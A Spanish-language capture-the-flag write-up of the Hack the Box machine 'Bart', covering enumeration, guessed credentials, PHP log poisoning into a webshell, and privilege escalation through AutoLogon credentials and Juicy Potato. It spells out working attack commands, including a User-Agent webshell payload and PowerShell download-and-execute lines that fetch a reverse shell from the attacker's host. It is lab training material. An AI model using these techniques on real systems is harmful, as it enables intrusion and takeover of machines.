En este post voy a vulnerar la máquina Bart de Hack the Box. Es una máquina Windows, de nivel medio, que requiere dedicar una buena cantidad de tiempo al reconocimiento y la enumeración.
Enumeración
Comienzo escaneado los 5000 puertos mas comunes, estableciendo un envío mínimo de 10000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.
nmap --top-ports 5000 --min-rate 10000 --open -n 10.10.10.81
En la máquina hay un puerto abierto. Escaneo el puerto que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p80 -sV -sC 10.10.10.81 Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-08 19:01 CET Nmap scan report for 10.10.10.81 Host is up (0.23s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Did not follow redirect to http://forum.bart.htb/ Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 20.30 seconds
Me llama la atención que la web está haciendo una redirección a un subdominio llamado forum.bart.htb.
Seguramente la web está levantada sobre un hosting virtual. Añado la IP y los dominios forum.bart.htb y bart.htb al fichero /etc/hosts y accedo al subdominio.
Parece ser una web empresarial. Me dedico a enumerar los directorios ocultos del subdominio pero no obtengo ningún resultado por lo que decido centrarme en el dominio principal (bart.htb).
wfuzz -c --hc=500,404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bart.htb/FUZZ
Encuentro muchos directorios ocultos pero en todos encuentro la misma imagen.
Vuelvo a enumerar pero esta vez oculto los directorios con el mismo tamaño de la imagen y encuentro un directorio que me llama especialmente la atención.
wfuzz -c --hc=500,404 --hh=150693 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bart.htb/FUZZ
Explotación
Accedo a este directorio y llego a una pantalla de autenticación bastante sencilla.
Después de probar sin éxito varias credenciales por defecto (admin:admin, admin:admin123, etc…) pincho en «Forgot password» y me lleva a una ventada para comprobar usuarios registrados.
Reviso el código fuente de la página principal y, en la sección de «Team Info» veo que hay comentado un empleado llamado Harvey Potter (que no Harry) que además, ocupaba el puesto de Developer.
Compruebo este usuario y me dice que existe.
Inicialmente pienso en hacer un ataque por fuerza bruta con Hydra para encontrar la contraseña pero es demasiado lento. Como esto es un CTF, la contraseña no puede ser muy difícil de encontrar así que pruebo un par de contraseñas por «defecto» y relacionadas con el usuario:
- pass123
- harvey
- developer
- bartdev
- harveypotter
- etc…
Consigo autenticarme con las credenciales harvey:potter y me redirige al subdominio monitor.bart.htb que también utiliza virtual hosting.
Añado este subdominio al fichero /etc/hosts y llego a una pantalla de estado donde no encuentro ninguna información relevante.
Navego un poco por la aplicación y en el menú Servers encuentro un nuevo subdominio etiquetado como chat interno.
Añado este subdominio al fichero /etc/hosts y, al entrar en él, me redirige a una pantalla de autenticación en la url http://internal-01.bart.htb/simple_chat/login_form.php.
Pruebo las credenciales anteriores sin éxito así que examino el código fuente de la página y me dedico a hacer spidering por él hasta que llego a un fichero css donde aparece una sección de Copyright.
Con la información del Copyright hago una búsqueda rápida en google y encuentro que esta aplicación está subida en un repositorio de github. Investigando un poco la aplicación veo que este fichero se utiliza para registrar usuarios. Me dirijo a él dentro de la aplicación (http://internal-01.bart.htb/simple_chat/register.php) y me redirige a http://internal-01.bart.htb/simple_chat/register_form.php pero esta página ha sido elimianda del servidor.
Revisando el código fuente de la secuencia de comandos, parece que únicamente es necesario proporcionar un nombre de usuario y una contraseña (uname y passwd respectivamente). Mando las credenciales prueba:prueba123 a través de una solicitud POST con curl e intento autenticarme.
curl -X POST http://internal-01.bart.htb/simple_chat/register.php -d "uname=prueba&passwd=prueba123"
Tras acceder me encuentro con un chat muy simple donde no puedo hacer nada. Inspecciono el código fuente y en una parte veo que el código está haciendo un GET a una url.
Accedo a la url y parece un registro de logs donde se muestran las cabeceras de las peticiones GET.
Leyendo la url, parece que registra las peticiones que recibe el fichero log.php y las guarda en un fichero .txt a través del usuario harvey. Abro directamente el fichero log.php y veo que tengo acceso a él.
Capturo las peticiones de esta página con Burp Suite y modifico el User-Agent inyectando código php para leer el fichero phpinfo.
Con el navegador, me dirijo a la ruta http://internal-01.bart.htb/log/phpinfo.php?filename=log.php&username=harvey y leo el fichero phpinfo.
He encontrado una vulnerabilidad de Local File Inclusion (LFI) y ya se que puedo leer ficheros que ya existen en el servidor pero ¿puedo escribir en un archivo que no existe?
Aprovechando que puedo leer el fichero phpinfo busco que funciones de php están deshabilitadas en el servidor y veo que están todas habilitadas. Inyecto en el User - Agent el script <?php system($_GET['cmd']); ?> para para ejecutar comandos a través de la url, en el fichero lfi.txt, y ejecuto un whoami.
Como se ve en la imagen anterior, he obtenido una webshell. Ahora ejecuto un dir y veo que se ha creado el fichero lfi.txt por lo que también puedo crear ficheros de texto en la máquina víctima.
Con esta información, ya puedo generar una shell reversa de powershell. Primero copio a mi directorio el fichero /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 (al que yo renombro como ps.ps1) y añado la siguiente línea al final del fichero: Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 7897 y después, en ese mismo directorio, levanto un servidor http.
Añado el siguiente comando a la cmd de la webshell, codificándolo a url con ctrl + U, y obtengo una shell reversa.
powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.6:7777/ps.ps1')
Escalada de Privilegios
No me deja acceder al directorio \Temp para trabajar sin problemas de permisos, por lo que me dirijo a C:\Users\Public\Documents y ya no tengo problemas de permisos. Ejecuto WinPeas para enumerar rápidamente el sistema y encuentro dos formas de escalar privilegios.
AutoLogon
WinPeas detecta las credenciales del usuario administrador (Administrator). Seguramente estén almacenadas en texto plano.
Hay varias formas de utilizarlas escalar privilegios pero esta vez voy a copiar la técnica de 0xdf.
Primero modifico el fichero ps.ps1 anterior cambiándole el puerto de escucha y renombrándolo a adminps.ps1. Mantengo el servidor http levantando, pongo un netcat a la escucha por el puerto indicando en adminps.ps1 y ejecuto los siguientes comandos en la consola de la víctima.
$username = "BART\Administrator"
$password = "3130438f31186fbaf962f407711faddb"
$secstr = New-Object -TypeName System.Security.SecureString
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
Invoke-Command -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6:7777/adminps.ps1') } -Credential $cred -Computer localhost
Juicy Potato
Comienzo enumerando los privilegios de mi usuario y veo que SeImpersonatePrivilege está como Enable.
Continuo enumerando la información del sistema y veo que se trata de in Windows 10 Pro de 64 bits por lo que no tendré ningún problema para escalar privilegios mediante Juicy Potato.
Me descargo un binario ejecutable de Juicy Potato desde aquí, lo cargo en la máquina víctima y lo ejecuto para ver los argumentos que necesita.
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.14.6:7777/JP.exe','JP.exe')"
Requiere 3 argumentos:
- Crear una llamada al proceso (-t).
- Un programa para ejecutar (-p).
- Puerto de escucha del servidor COM (-l)
La llamada al proceso es algo sencillo, voy a poner * para utilizar las dos opciones de este argumento.
El puerto de escucha también es sencillo, solo necesito un puerto que esté libre. En mi caso he elegido el 9009.
El programa a ejecutar es mas laborioso que complicado. Primero modifico el fichero admips.ps1 que he creado anteriormente, cambiándole le puerto de escucha al 7899. A continuación, creo el fichero adminps.bat que descargará el fichero adminps.ps1 y lo ejecutará.
powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.6:7777/adminps.ps1')
Subo adminps.bat a la máquina víctima.
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.14.6:7777/adminps.bat','adminps.bat')"
Y por último ejecuto el binario de Juicy Potato (JP.exe). Esto debería intentar obtener un token que se haga pasar por SYSTEM y luego ejecutar mi binario adminps.bat con privilegios elevados pero muestra un error debido a que no puede utilizar el CLSID predeterminado.
Podría utiliza este script para obtener la lista de CLSID pero esta vez prefiero hacerlo manualmente y probar los CLSID de Windows 10 Pro que se indican en el repositorio de github de Juicy Potato. Elijo el primero del servicio de wuauserv.
Vuelvo a ejecutar el binario JP.exe con este nuevo CLSID y esta vez obtengo que se ha creado el proceso con exito, consiguiendo una shell reversa.
./JP.exe -t * -p adminps.bat -l 9009 -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"
Flags
User.txt
Esta flag la encuentro en la ruta C:\Users\h.potter\user.txt.
root.txt
Esta flag la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.
